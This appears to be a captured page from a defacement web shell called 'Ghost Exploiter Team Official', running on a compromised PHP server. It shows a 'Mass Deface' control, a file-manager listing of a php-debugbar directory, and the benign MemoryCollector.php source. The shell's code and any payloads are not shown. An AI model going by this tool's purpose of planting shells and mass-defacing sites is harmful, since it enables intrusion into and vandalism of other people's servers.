Ghost Exploiter Team Official
Mass Deface
Directory >>
/
var
/
www
/
html
/
back
/
vendor
/
php-debugbar
/
php-debugbar
/
src
/
DebugBar
/
DataCollector
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
type
file
dir
+File/Dir
PDO
--
ren
AggregatedCollector.php
4.113KB
edt
ren
AssetProvider.php
1.639KB
edt
ren
ConfigCollector.php
1.952KB
edt
ren
DataCollector.php
0.576KB
edt
ren
DataCollectorInterface.php
0.586KB
edt
ren
ExceptionsCollector.php
7.553KB
edt
ren
LocalizationCollector.php
1.374KB
edt
ren
MemoryCollector.php
2.782KB
edt
ren
MessagesAggregateInterf
...
0.409KB
edt
ren
MessagesCollector.php
8.189KB
edt
ren
ObjectCountCollector.php
3.267KB
edt
ren
PhpInfoCollector.php
1.015KB
edt
ren
Renderable.php
0.586KB
edt
ren
RequestDataCollector.php
3.42KB
edt
ren
TimeDataCollector.php
7.27KB
edt
ren
<?php /* * This file is part of the DebugBar package. * * (c) 2013 Maxime Bouroumeau-Fuseau * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace DebugBar\DataCollector; /** * Collects info about memory usage */ class MemoryCollector extends DataCollector implements Renderable { protected $realUsage = false; protected $memoryRealStart = 0; protected $memoryStart = 0; protected $peakUsage = 0; protected $precision = 0; /** * Set the precision of the 'peak_usage_str' output. * * @param int $precision */ public function setPrecision($precision) { $this->precision = $precision; } /** * Returns whether total allocated memory page size is used instead of actual used memory size * by the application. See $real_usage parameter on memory_get_peak_usage for details. * * @return bool */ public function getRealUsage() { return $this->realUsage; } /** * Sets whether total allocated memory page size is used instead of actual used memory size * by the application. See $real_usage parameter on memory_get_peak_usage for details. * * @param bool $realUsage */ public function setRealUsage($realUsage) { $this->realUsage = $realUsage; } /** * Reset memory baseline, to measure multiple requests in a long running process * * @return void */ public function resetMemoryBaseline() { $this->memoryStart = memory_get_usage(false); $this->memoryRealStart = memory_get_usage(true); } /** * Returns the peak memory usage * * @return integer */ public function getPeakUsage() { return $this->peakUsage - ($this->realUsage ? $this->memoryRealStart : $this->memoryStart); } /** * Updates the peak memory usage value */ public function updatePeakUsage() { $this->peakUsage = memory_get_peak_usage($this->realUsage); } /** * @return array */ public function collect() { $this->updatePeakUsage(); return array( 'peak_usage' => $this->getPeakUsage(), 'peak_usage_str' => $this->getDataFormatter()->formatBytes($this->getPeakUsage(), $this->precision) ); } /** * @return string */ public function getName() { return 'memory'; } /** * @return array */ public function getWidgets() { return array( "memory" => array( "icon" => "cogs", "tooltip" => "Memory Usage", "map" => "memory.peak_usage_str", "default" => "'0B'" ) ); } }